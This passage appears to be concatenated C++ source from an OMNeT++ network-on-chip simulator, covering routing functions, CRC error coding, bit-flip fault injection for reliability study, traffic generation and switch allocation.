globalArbiterAvgEnergy.record(AvgEnergy);
}
void SwitchAllocator::switchAllocation()
{
for(int i=0;i<nbPorts;i++)
{
InputUnit *inputUnit = dynamic_cast<InputUnit *>(getParentModule()->getSubmodule("inputUnit",i));
for(int j=0;j<nbVCs;j++)
{
VirtualChannel *inputVC = inputUnit->getVirtualChannel(j);
if(inputVC->getState() == SWITCHALLOCATION && inputVC->getCurLenght()!=0)
{
CreditBased *flowControlUnit = dynamic_cast<CreditBased *>(getParentModule()->getSubmodule("flowControlUnit"));
if(flowControlUnit->canForward(inputVC->getOutputPort(),inputVC->getOutputVC()))
{
// std::cout << "switch " << inputVC->getOutputPort() << " " << switchTable->getInputPort(inputVC->getOutputPort()) << endl;
if(switchTable->getInputPort(inputVC->getOutputPort())==-1)
{
bubble("opération d'allocation du switch");
switchTable->portLinking(inputVC->getOutputPort(),i);
/*
/// Affichage de la table du switch
std::cout << "affichage de la table" << endl;
for(int k=0;k<5 ;k++)
std::cout << switchTable->getInputPort(k) << endl;
//*/
inputVC->setState(SWITCHTRAVERSAL);
globalArbCounter++;
}
}
}
}
}
}
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/FaultInjector/FaultModel/FaultProperty/AlterBits.cc
/*
* AlterBits.cc
*
* Created on: 16 avr. 2015
* Author: mehdi
*/
#include <AlterBits.h>
#include <bitset>
using namespace std;
AlterBits::AlterBits(int minBits,int maxBits) {
// TODO Auto-generated constructor stub
this->minBits=minBits;
this->maxBits=maxBits;
}
AlterBits::~AlterBits() {
// TODO Auto-generated destructor stub
}
bool AlterBits::alterFlit(Flit *f)
{
int numByte,posBit;
char byte;
short int mask;
int nbBits=intuniform(minBits,maxBits);
for(int i=0;i<nbBits;i++)
{
numByte=intuniform(0,f->getSerializedFlitArraySize()-1);
posBit=intuniform(0,7);
byte=f->getSerializedFlit(numByte);
mask=0x80;
mask= mask >> posBit;
f->setSerializedFlit(numByte, byte ^ mask);
//std::bitset<8> a(byte);
//std::bitset<8> b(f->getSerializedFlit(numByte));
//std::bitset<8> c(mask);
//std::cout << a <<" "<< c <<" "<< b <<endl;
}
//std::cout << endl;
return false;
}
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/Encoder/ECCAlgorithms/CRC/CRCAlgorithm.h
/*
* CRC.h
*
* Created on: 15 avr. 2015
* Author: mehdi
*/
#ifndef CRCALGORITHM_H_
#define CRCALGORITHM_H_
#include <IECCAlgorithm.h>
#include <boost/crc.hpp>
#include <string.h>
using namespace std;
class CRCAlgorithm : public IECCAlgorithm {
public:
CRCAlgorithm(string crcType);
/*CRC(std::size_t Bits, boost::BOOST_CRC_PARM_TYPE TruncPoly,
boost::BOOST_CRC_PARM_TYPE InitRem,
boost::BOOST_CRC_PARM_TYPE FinalXor,
bool ReflectIn, bool ReflectRem );*/
virtual ~CRCAlgorithm();
virtual void encodeH2H(Flit* f);
virtual bool decodeH2H(Flit* f);
virtual void encodeE2E(Flit* f);
virtual bool decodeE2E(Flit* f);
private:
string crcType;
int encodingExtent;
};
#endif /* CRCALGORITHM_H_ */
<file_sep>/FTNOCSIM/src/Node/Core/Source/ProbabilisticModel/TemporalDistribution/TDExponential.cc
/*
* TDExponential.cc
*
* Created on: 13 mars 2015
* Author: mehdi
*/
#include <TDExponential.h>
#include <omnetpp.h>
TDExponential::TDExponential(double mean) {
// TODO Auto-generated constructor stub
this->mean=mean;
}
TDExponential::~TDExponential() {
// TODO Auto-generated destructor stub
}
int TDExponential::getNextGenerationTime(){
int interArrival=exponential(this->mean);
return interArrival;
}
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/InputUnit/NegativeFirst/NegativeFirstRouting.cc
/*
* NegativeFirstRouting.cc
*
* Created on: 26 avr. 2015
* Author: ala-eddine
*/
#include <NegativeFirstRouting.h>
NegativeFirstRouting::NegativeFirstRouting(int x,int y,int dimX,int dimY,int nbVCs,bool* neighborsFaultInfo) {
// TODO Auto-generated constructor stub
this->dimX= dimX;
this->dimY = dimY;
this->x = x;
this->y = y;
this->nbVCs = nbVCs;
this->neighborsFaultInfo=neighborsFaultInfo;
}
NegativeFirstRouting::~NegativeFirstRouting() {
// TODO Auto-generated destructor stub
}
vector<Path *>* NegativeFirstRouting::routeCalc(Flit *f){
vector<Path*> *routes = new vector<Path*>;
int destX = f->getDestX();
int destY = f->getDestY();
// std::cout << "Destination: " << destX <<":" << destY << "----courant: " << x<<":"<<y << endl;
if(destX>x)
{
if(destY<y)
{
if(neighborsFaultInfo[EAST_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(EAST_DIREC,i));
if(neighborsFaultInfo[NORTH_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(NORTH_DIREC,i));
}
else if(destY>=y)
{
if(neighborsFaultInfo[EAST_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(EAST_DIREC,i));
}
}
else if(destX<x)
{
if(destY<=y)
{
if(neighborsFaultInfo[WEST_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(WEST_DIREC,i));
}
else if(destY>y)
{
if(neighborsFaultInfo[WEST_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(WEST_DIREC,i));
if(neighborsFaultInfo[SOUTH_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(SOUTH_DIREC,i));
}
}
else // destX == x
{
if(destY<y)
{
if(neighborsFaultInfo[NORTH_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(NORTH_DIREC,i));
}
if(destY>y)
{
if(neighborsFaultInfo[SOUTH_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(SOUTH_DIREC,i));
}
else for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(LOCAL_DIREC,i));
}
return routes;
}
void NegativeFirstRouting::updateNeighborsFaultInfo(int direction,bool neighborState){
this->neighborsFaultInfo[direction]=neighborState;
}
<file_sep>/FTNOCSIM/src/Node/NetworkAdapter/FaultTolerantNA/E2EEncoder/E2EEncoder.cc
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
//
#include "E2EEncoder.h"
#include <NoCMsg_m.h>
Define_Module(E2EEncoder);
void E2EEncoder::initialize()
{
// TODO - Generated method body
this->nbColumns=this->getParentModule()->getParentModule()->getParentModule()->par("columns");
this->flitLength=this->getParentModule()->getParentModule()->getParentModule()->par("flitLength");
if(!strcmp(par("e2eECCAlgorithmType").stringValue(),"crc_16") || !strcmp(par("e2eECCAlgorithmType").stringValue(),"crc_ccitt") || !strcmp(par("e2eECCAlgorithmType").stringValue(),"crc_xmodem"))
{
this->e2eECCAlgorithm=new CRCAlgorithm(par("e2eECCAlgorithmType"));
}
this->serializedData=par("e2eEncodedData");
retransmissionBuffer=new cQueue();
E2ENACKHitsCount = 0;
E2ENACKHitsVect.setName("E2E-NACK-HITS");
}
void E2EEncoder::handleMessage(cMessage *msg)
{
// TODO - Generated method body
Flit *f;
Flit* fCopy;
vector<Flit*> *packet;
int packetSize;
f = dynamic_cast<Flit*>(msg);
if(msg->getArrivalGate()==this->gate("in"))
{
this->flitSerialization(f);
this->e2eECCAlgorithm->encodeE2E(f);
fCopy= cloneFlit(f);
insertInRetransmissionBuffer(fCopy);
send(f,"out");
}
else if(this->gate("inDecoder"))
{
if(f->getSrc()==this->getParentModule()->getParentModule()->getIndex())
{
send(f,"out");
}
else
{
packet=getFlitFromRetransmissionBuffer(f->getPacketIndex());
if(packet->size()>0)
{
for(int i=0;i<packet->size();i++)
{
send((*packet)[i],"out");
}
E2ENACKHitsCount++;
}
}
}
}
void E2EEncoder::finish()
{
E2ENACKHitsVect.record(E2ENACKHitsCount);
}
Flit* E2EEncoder::cloneFlit(Flit* f)
{
Flit *clone = new Flit;
clone->setKind(f->getKind());
clone->setType(f->getType());
clone->setSrc(f->getSrc());
clone->setPacketIndex(f->getPacketIndex());
clone->setDestX(f->getDestX());
clone->setDestY(f->getDestY());
clone->setNumVC(f->getNumVC());
clone->setFlitIndex(f->getFlitIndex());
clone->setFunctionType(f->getFunctionType());
clone->setE2eSerializedFlitArraySize(f->getE2eSerializedFlitArraySize());
for(int i=0;i<f->getE2eSerializedFlitArraySize(); i++)
{
clone->setE2eSerializedFlit(i,f->getE2eSerializedFlit(i));
}
clone->setPayloadArraySize(f->getPayloadArraySize());
for(int i=0;i<f->getPayloadArraySize();i++)
{
clone->setPayload(i,f->getPayload(i));
}
return clone;
}
void E2EEncoder::insertInRetransmissionBuffer(Flit* f)
{
if(this->retransmissionBuffer->length() >= retransmissionBufferSize)
{
retransmissionBuffer->pop();
}
retransmissionBuffer->insert(f);
}
vector<Flit*>* E2EEncoder::getFlitFromRetransmissionBuffer(int packetIndex)
{
vector<Flit*> *packet;
Flit* f;
bool head=false;
bool tail=false;
packet=new vector<Flit*>;
for(int i=0;i<this->retransmissionBuffer->length();i++)
{
f=((Flit*)(this->retransmissionBuffer->get(i)));
this->retransmissionBuffer->remove(f);
if(f->getPacketIndex()==packetIndex)
{
if(f->getType()==HEADER_FLIT) head=true;
if(f->getType()==TAIL_FLIT) tail=true;
packet->push_back(f);
}
}
if(head!=true || tail!=true) packet->clear();
return packet;
}
void E2EEncoder::flitSerialization(Flit* f)
{
int length;
switch(serializedData)
{
case HEADER:
if(f->getType()==HEADER_FLIT)
{
f->setE2eSerializedFlitArraySize(6);
f->setE2eSerializedFlit(0,HEADER_FLIT);
f->setE2eSerializedFlit(1,f->getDestX());
f->setE2eSerializedFlit(2,f->getDestY());
f->setE2eSerializedFlit(3,f->getSrc()%this->nbColumns);
f->setE2eSerializedFlit(4,f->getSrc()/this->nbColumns);
f->setE2eSerializedFlit(5,f->getNumVC());
}
else if(f->getType()==MIDDLE_FLIT)
{
f->setE2eSerializedFlitArraySize(2);
f->setE2eSerializedFlit(0,MIDDLE_FLIT);
f->setE2eSerializedFlit(1,f->getNumVC());
}
else if(f->getType()==TAIL_FLIT)
{
f->setE2eSerializedFlitArraySize(2);
f->setE2eSerializedFlit(0,TAIL_FLIT);
f->setE2eSerializedFlit(1,f->getNumVC());
}
break;
case PAYLOAD:
if(f->getType()==HEADER_FLIT) length=flitLength-6;
else length=flitLength-2;
f->setE2eSerializedFlitArraySize(length);
for(int i=0;i<length;i++)
{
f->setE2eSerializedFlit(i,f->getPayload(i));
}
break;
case ALL:
f->setE2eSerializedFlitArraySize(flitLength);
if(f->getType()==HEADER_FLIT)
{
f->setE2eSerializedFlit(0,HEADER_FLIT);
f->setE2eSerializedFlit(1,f->getDestX());
f->setE2eSerializedFlit(2,f->getDestY());
f->setE2eSerializedFlit(3,f->getSrc()%this->nbColumns);
f->setE2eSerializedFlit(4,f->getSrc()/this->nbColumns);
f->setE2eSerializedFlit(5,f->getNumVC());
for(int i=6;i<flitLength;i++)
{
f->setE2eSerializedFlit(i,f->getPayload(i-6));
}
}
else if(f->getType()==MIDDLE_FLIT)
{
f->setE2eSerializedFlit(0,MIDDLE_FLIT);
f->setE2eSerializedFlit(1,f->getNumVC());
for(int i=2;i<flitLength;i++)
{
f->setE2eSerializedFlit(i,f->getPayload(i-2));
}
}
else if(f->getType()==TAIL_FLIT)
{
f->setE2eSerializedFlit(0,TAIL_FLIT);
f->setE2eSerializedFlit(1,f->getNumVC());
for(int i=2;i<flitLength;i++)
{
f->setE2eSerializedFlit(i,f->getPayload(i-2));
}
}
break;
}
}
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/InputUnit/WestFirst/WestFirstRouting.h
/*
* WestFirstRouting.h
*
* Created on: 26 avr. 2015
* Author: ala-eddine
*/
#ifndef WESTFIRSTROUTING_H_
#define WESTFIRSTROUTING_H_
#include<RoutingFunction.h>
class WestFirstRouting : public RoutingFunction{
public:
WestFirstRouting(int x,int y,int dimX,int dimY,int nbVCs,bool* neighborsFaultInfo);
virtual ~WestFirstRouting();
virtual vector<Path *> *routeCalc(Flit *f);
virtual void updateNeighborsFaultInfo(int direction,bool neighborState);
};
#endif /* WESTFIRSTROUTING_H_ */
<file_sep>/FTNOCSIM/src/Node/Core/Source/TrafficGeneration.h
/*
* TrafficGeneration.h
*
* Created on: Mar 2, 2015
* Author: ala-eddine
*/
#ifndef TRAFFICGENERATION_H_
#define TRAFFICGENERATION_H_
class TrafficGeneration {
public:
//TrafficGeneration();
//virtual ~TrafficGeneration();
virtual int getNextGenerationTime()=0;
virtual void getDestination(int* x,int* y)=0;
virtual int getPacketSize()=0;
};
#endif /* TRAFFICGENERATION_H_ */
<file_sep>/FTNOCSIM/src/Node/Core/Source/ProbabilisticModel/SpatialDistribution/Deterministic.cc
/*
* SDDeterministic.cc
*
* Created on: 13 mars 2015
* Author: mehdi
*/
#include <SDDeterministic.h>
#include <omnetpp.h>
using namespace std;
SDDeterministic::SDDeterministic(int function,int xPos,int yPos,int nbColumns,int nbRows) {
// TODO Auto-generated constructor stub
this->function=function;
this->xPos=xPos,
this->yPos=yPos;
this->nbColumns=nbColumns;
this->nbRows=nbRows;
}
SDDeterministic::~SDDeterministic() {
// TODO Auto-generated destructor stub
}
void SDDeterministic::getDestination(int *x,int *y)
{
int posSrc=xPos*nbRows+yPos;
int posDst=0;
int nbBits=log2(nbColumns*nbRows);
switch(function)
{
case SDTRANSPOSE1:
*x=(this->nbColumns)-1-(this->yPos);
*y=(this->nbRows)-1-(this->xPos);
if((*x)<0 || (*y)<0) {*x=xPos; *y=yPos;}
break;
case SDTRANSPOSE2:
*x=this->yPos;
*y=this->xPos;
if((*x)>=(this->nbColumns) || (*y)>=(this->nbRows)) {*x=xPos; *y=yPos;}
break;
case SDBITCOMPLEMENT:
*x=(this->nbColumns)-1-(this->xPos);
*y=(this->nbRows)-1-(this->yPos);
break;
case SDBITREVERSE:
for(int i=0;i<nbBits;i++)
{
if(posSrc&(1<<i))
{
posDst=posDst + (1 <<(nbBits-1 - i));
}
}
*x=posDst/nbColumns;
*y=posDst%nbColumns;
if((*x)>=(this->nbColumns) || (*y)>=(this->nbRows)) {*x=xPos; *y=yPos;}
break;
case SDSHUFFLE:
posDst=(posSrc*2)%(nbColumns*nbRows)+(posSrc*2)/(nbColumns*nbRows);
*x=posDst/nbColumns;
*y=posDst%nbColumns;
if((*x)>=(this->nbColumns) || (*y)>=(this->nbRows)) {*x=xPos; *y=yPos;}
break;
}
if(*x==xPos && *y==yPos) {*x=-1; *y=-1;}
}
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/InputUnit/XY/XYRoutingFunction.cc
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
//
#include <XYRoutingFunction.h>
XYRoutingFunction::XYRoutingFunction(int x,int y,int dimX,int dimY,int nbVCs,bool* neighborsFaultInfo) {
// TODO Auto-generated constructor stub
this->dimX= dimX;
this->dimY = dimY;
this->x = x;
this->y = y;
this->nbVCs = nbVCs;
this->neighborsFaultInfo=neighborsFaultInfo;
}
XYRoutingFunction::~XYRoutingFunction() {
// TODO Auto-generated destructor stub
}
vector<Path *> *XYRoutingFunction::routeCalc(Flit *f)
{
vector<Path*> *routes = new vector<Path*>;
int destX = f->getDestX();
int destY = f->getDestY();
if(x != destX)
{
if(x<destX)
{
if(neighborsFaultInfo[EAST_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(EAST_DIREC,i));
}
else{
if(neighborsFaultInfo[WEST_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(WEST_DIREC,i));
}
}
else if(y != destY){
if(y<destY)
{
if(neighborsFaultInfo[SOUTH_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(SOUTH_DIREC,i));
}
else{
if(neighborsFaultInfo[NORTH_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(NORTH_DIREC,i));
}
}
else{
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(LOCAL_DIREC,i));
}
return routes;
}
void XYRoutingFunction::updateNeighborsFaultInfo(int direction,bool neighborState)
{
this->neighborsFaultInfo[direction]=neighborState;
/*for(int i=0;i<4;i++)
{
std::cout << this->x << " " << this->y << " " << i << " " <<this->neighborsFaultInfo[i] << " " << endl;
}
cout << endl;*/
}
<file_sep>/FTNOCSIM/src/Node/Core/Source/TaskGraphModel/TaskGraphModel.h
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
//
#ifndef __FTNOCSIM_TASKGRAPHMODEL_H_
#define __FTNOCSIM_TASKGRAPHMODEL_H_
#include <omnetpp.h>
#include "Task.h"
#include "NoCMsg_m.h"
using namespace std;
/**
* TODO - Generated class
*/
class TaskGraphModel : public cSimpleModule
{
private:
int x;
int y;
int nbColumns;
int nbRows;
int nbVCs;
int numVCs;
int flitsSize;
int paquetsSize = 4;
double interPacketsTime = 0.000000006;
int packetsCounter;
int flitsCounter;
double** eventsTab;
std::map<int,int> linksTab;
std::map<int,Task*> TasksTab; //(input,task)
std::map<int,Task*> idTasksTab; //(id,task)
std::map<Task*,int> NodesXTab;
std::map<Task*,int> NodesYTab;
int nbEvents;
cOutVector flitsCounterVector;
cOutVector packetsCounterVector;
protected:
virtual void initialize();
virtual void handleMessage(cMessage *msg);
virtual void finish();
virtual Flit* createHeadFlit(int dx, int dy, int numVC,int output,int dataAmount);
virtual Flit* createTailFlit(int numVC, int index);
virtual Flit* createDataFlit(int numVC,int index);
virtual void initEventsTab();
virtual void initLinksTab();
virtual void initTasksTab();
virtual void initNodesTab();
public:
virtual void receiveEvent(int outport,int amountData);
};
#endif
<file_sep>/FTNOCSIM/src/Node/Core/Source/TaskGraphModel/TriggerExec.h
/*
* TriggerExec.h
*
* Created on: 27 mars 2015
* Author: mehdi
*/
#ifndef TRIGGEREXEC_H_
#define TRIGGEREXEC_H_
#include "omnetpp.h"
#include "Send.h"
class TriggerExec {
private:
std::vector<Send*> sendsTab;
int min=-1;
int max=-1;
int modPeriod=1;
int modPhase=0;
public:
TriggerExec();
virtual ~TriggerExec();
virtual int getMin();
virtual int getMax();
virtual int getModPeriod();
virtual int getModPhase();
virtual void setMin(int min);
virtual void setMax(int max);
virtual void setModPeriod(int modPeriod);
virtual void setModPhase(int modPhase);
virtual std::vector<Send*> getSendsTab();
virtual void addToSendsTab(Send* send);
};
#endif /* TRIGGEREXEC_H_ */
<file_sep>/FTNOCSIM/src/Node/Core/Source/TaskGraphModel/Trigger.h
/*
* Trigger.h
*
* Created on: 27 mars 2015
* Author: mehdi
*/
#ifndef TRIGGER_H_
#define TRIGGER_H_
#include <omnetpp.h>
#include <TriggerExec.h>
class Trigger {
private:
int tokenOp=0; // or=0 and=1
std::vector<int> opInputsTab;
int numActivation=0;
std::vector<TriggerExec*> triggerExecs;
public:
Trigger();
virtual ~Trigger();
virtual double execTrigger();
virtual int getTokenOp();
virtual int getOpInputsTabElm(int index);
virtual void addToOpInputsTab(int input);
virtual int getOpInputsTabSize();
virtual TriggerExec* getExecTriggerElm(int index);
virtual void addToTriggerExecTab(TriggerExec* tre);
virtual void setTokenOp(int tokenOp);
};
#endif /* TRIGGER_H_ */
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/Decoder/Decoder.cc
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
//
#include "Decoder.h"
Define_Module(Decoder);
void Decoder::initialize()
{
// TODO - Generated method body
this->nbColumns=this->getParentModule()->getParentModule()->getParentModule()->par("columns");
this->nbRows=this->getParentModule()->getParentModule()->getParentModule()->par("rows");
this->flitLength=this->getParentModule()->getParentModule()->getParentModule()->par("flitLength");
this->serializedData=par("h2hEncodedData");
if(!strcmp(par("eccAlgorithmType").stringValue(),"crc_16") || !strcmp(par("eccAlgorithmType").stringValue(),"crc_ccitt") || !strcmp(par("eccAlgorithmType").stringValue(),"crc_xmodem"))
{
this->eccAlgorithm=new CRCAlgorithm(par("eccAlgorithmType"));
}
corruptFlitCount = 0;
corruptVect.setName("ALTERED-FLIT");
}
void Decoder::handleMessage(cMessage *msg)
{
// TODO - Generated method body
Flit* f=dynamic_cast<Flit*>(msg);
bool result;
if(f!=NULL){
if(f->getFunctionType()==DATA_FLIT)
{
result=this->eccAlgorithm->decodeH2H(f);
if(result)
{
this->flitDeSerialization(f);
send(f,"out");
}
else
{
//if(f->getSrc()==10 || f->getSrc()==11) std::cout << "Nack " << f->getSrc() << " " << f->getPacketIndex() << " " << f->getFlitIndex() << " " << simTime() << " " << endl;
NACKMsg *nack = new NACKMsg();
nack->setPacketIndex(f->getPacketIndex());
nack->setSrc(f->getSrc());
nack->setFlitIndex(f->getFlitIndex());
nack->setKind(NACK_MSG);
send(nack,"outErrorControl");
corruptFlitCount++;
}
}
else
{
send(f,"out");
}
}
}
void Decoder::finish()
{
corruptVect.record(corruptFlitCount);
}
void Decoder::flitDeSerialization(Flit* f)
{
switch(serializedData)
{
case HEADER:
if(f->getType()==HEADER_FLIT)
{
f->setType(f->getSerializedFlit(0));
f->setDestX(f->getSerializedFlit(1));
f->setDestY(f->getSerializedFlit(2));
f->setSrc(f->getSerializedFlit(3)+f->getSerializedFlit(4)*this->nbColumns);
f->setNumVC(f->getSerializedFlit(5));
}
else
{
f->setType(f->getSerializedFlit(0));
f->setNumVC(f->getSerializedFlit(1));
}
break;
case PAYLOAD:
if(f->getType()==HEADER_FLIT)
{
for(int i=0;i<flitLength-6;i++)
{
f->setPayload(i,f->getSerializedFlit(i));
}
}
else
{
for(int i=0;i<2;i++)
{
f->setPayload(i,f->getSerializedFlit(i));
}
}
break;
case ALL:
if(f->getType()==HEADER_FLIT)
{
f->setType(f->getSerializedFlit(0));
f->setDestX(f->getSerializedFlit(1));
f->setDestY(f->getSerializedFlit(2));
f->setSrc(f->getSerializedFlit(3)+f->getSerializedFlit(4)*this->nbColumns);
f->setNumVC(f->getSerializedFlit(5));
for(int i=6;i<flitLength;i++)
{
f->setPayload(i-6,f->getSerializedFlit(i));
}
}
else
{
f->setType(f->getSerializedFlit(0));
f->setNumVC(f->getSerializedFlit(1));
for(int i=2;i<flitLength;i++)
{
f->setPayload(i-2,f->getSerializedFlit(i));
}
}
break;
}
/*switch(f->getType())
{
case 0:
f->setType(HEADER_FLIT);
f->setDestX(f->getSerializedFlit(1));
f->setDestY(f->getSerializedFlit(2));
f->setSrc(f->getSerializedFlit(3)+f->getSerializedFlit(4)*this->nbColumns);
f->setNumVC(f->getSerializedFlit(5));
break;
case 1:
f->setType(MIDDLE_FLIT);
f->setNumVC(f->getSerializedFlit(1));
//f->setFlitIndex(f->getSerializedFlit(2));
break;
case 2:
f->setType(TAIL_FLIT);
f->setNumVC(f->getSerializedFlit(1));
//f->setFlitIndex(f->getSerializedFlit(2));
break;
}*/
}
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/InputUnit/OddEven/OddEvenRouting.h
/*
* OddEvenRouting.h
*
* Created on: 27 avr. 2015
* Author: ala-eddine
*/
#ifndef ODDEVENROUTING_H_
#define ODDEVENROUTING_H_
#include <RoutingFunction.h>
class OddEvenRouting : public RoutingFunction{
public:
OddEvenRouting(int x,int y,int dimX,int dimY,int nbVCs,bool* neighborsFaultInfo);
virtual ~OddEvenRouting();
virtual vector<Path *> *routeCalc(Flit *f);
virtual void updateNeighborsFaultInfo(int direction,bool neighborState);
};
#endif /* ODDEVENROUTING_H_ */
<file_sep>/FTNOCSIM/src/Node/Core/Source/ProbabilisticModel/SpatialDistribution/SDUniform.cc
/*
* SDUniform.cc
*
* Created on: Mar 2, 2015
* Author: ala-eddine
*/
#include <SDUniform.h>
#include <omnetpp.h>
using namespace std;
SDUniform::SDUniform(int nbRows,int nbColumns) {
// TODO Auto-generated constructor stub
this->nbRows=nbRows;
this->nbColumns=nbColumns;
}
SDUniform::~SDUniform() {
// TODO Auto-generated destructor stub
}
void SDUniform::getDestination(int *x,int *y)
{
*x=intuniform(0,nbColumns-1);
*y=intuniform(0,nbRows-1);
// *x = 2;
// *y = 4;
}
<file_sep>/FTNOCSIM/src/Node/Core/Source/ProbabilisticModel/SpatialDistribution/SDUniform.h
/*
* SDUniform.h
*
* Created on: Mar 2, 2015
* Author: ala-eddine
*/
#ifndef SDUNIFORM_H_
#define SDUNIFORM_H_
#include <SpatialDistribution.h>
using namespace std;
class SDUniform : public SpatialDistribution{
private:
int nbRows;
int nbColumns;
public:
SDUniform(int nbRows,int nbColumns);
virtual ~SDUniform();
virtual void getDestination(int *x,int *y);
};
#endif /* SDUNIFORM_H_ */
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/InputUnit/VirtualChannel.cc
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
//
#include <VirtualChannel.h>
VirtualChannel::VirtualChannel(int bufferLenght) {
// TODO Auto-generated constructor stub
this->bufferLenght = bufferLenght;
this->setState(IDLE);
buffer = new cQueue();
}
VirtualChannel::~VirtualChannel() {
// TODO Auto-generated destructor stub
}
STATE VirtualChannel::getState()
{
return state;
}
void VirtualChannel::setState(STATE s)
{
state = s;
}
int VirtualChannel::getCurLenght()
{
return buffer->length();
}
int VirtualChannel::getOutputPort()
{
return outputPort;
}
void VirtualChannel::setOutputPort(int p)
{
outputPort = p;
}
int VirtualChannel::getOutputVC()
{
return outputVC;
}
void VirtualChannel::setOutputVC(int vc)
{
outputVC = vc;
}
void VirtualChannel::insertFlit(Flit *f)
{
buffer->insert(f);
}
Flit *VirtualChannel::popFlit()
{
return check_and_cast<Flit *>(buffer->pop());
}
int VirtualChannel::getMaxLenght()
{
return bufferLenght;
}
void VirtualChannel::setMaxLenght(int l)
{
bufferLenght = l;
}
Flit *VirtualChannel::readFrontFlit()
{
if(buffer->isEmpty()) return NULL;
else return check_and_cast<Flit *>(buffer->front());
}
vector<Path*> *VirtualChannel::getListRoutes(){
return listRoutes;
}
void VirtualChannel::setListRoutes(vector<Path*> *listRoutes) {
//if(this->listRoutes != NULL) delete(this->listRoutes);
this->listRoutes = listRoutes;
}
double VirtualChannel::getHeadFlitInjectionTime()
{
return headFlitInjectionTime;
}
void VirtualChannel::setHeadFlitInjectionTime(double injectionTime)
{
headFlitInjectionTime = injectionTime;
}
double VirtualChannel::getPacketRouterLatency()
{
return packetRouterLatency;
}
void VirtualChannel::setPacketRouterLatency(double routerLatency)
{
packetRouterLatency = routerLatency;
}
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/Switch/Switch.cc
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
//
#include "Switch.h"
Define_Module(Switch);
void Switch::initialize()
{
// TODO - Generated method body
nbPorts = getParentModule()->par("nbInputUnits").longValue();
switchingTable = new int[nbPorts];
for(int i=0;i<nbPorts;i++) switchingTable[i] = -1;
counter=0;
switchAvgEnergy.setName("switchAvgEnergy");
}
void Switch::handleMessage(cMessage *msg)
{
// TODO - Generated method body
switching(check_and_cast<Flit *>(msg));
bubble("Opération du traversement du switch");
}
void Switch::finish()
{
initOrion();
//std::cout << "n_data = "<< simTime().dbl()*1e+9/2 << endl;
double avgEnergy = getCrossbarEnergy(counter/(simTime().dbl()*1e+9/2));
switchAvgEnergy.record(avgEnergy);
}
void Switch::portLinking(int outputPort,int inputPort)
{
switchingTable[outputPort] = inputPort;
}
void Switch::switching(Flit *f)
{
send(f,"out",f->getNumPort());
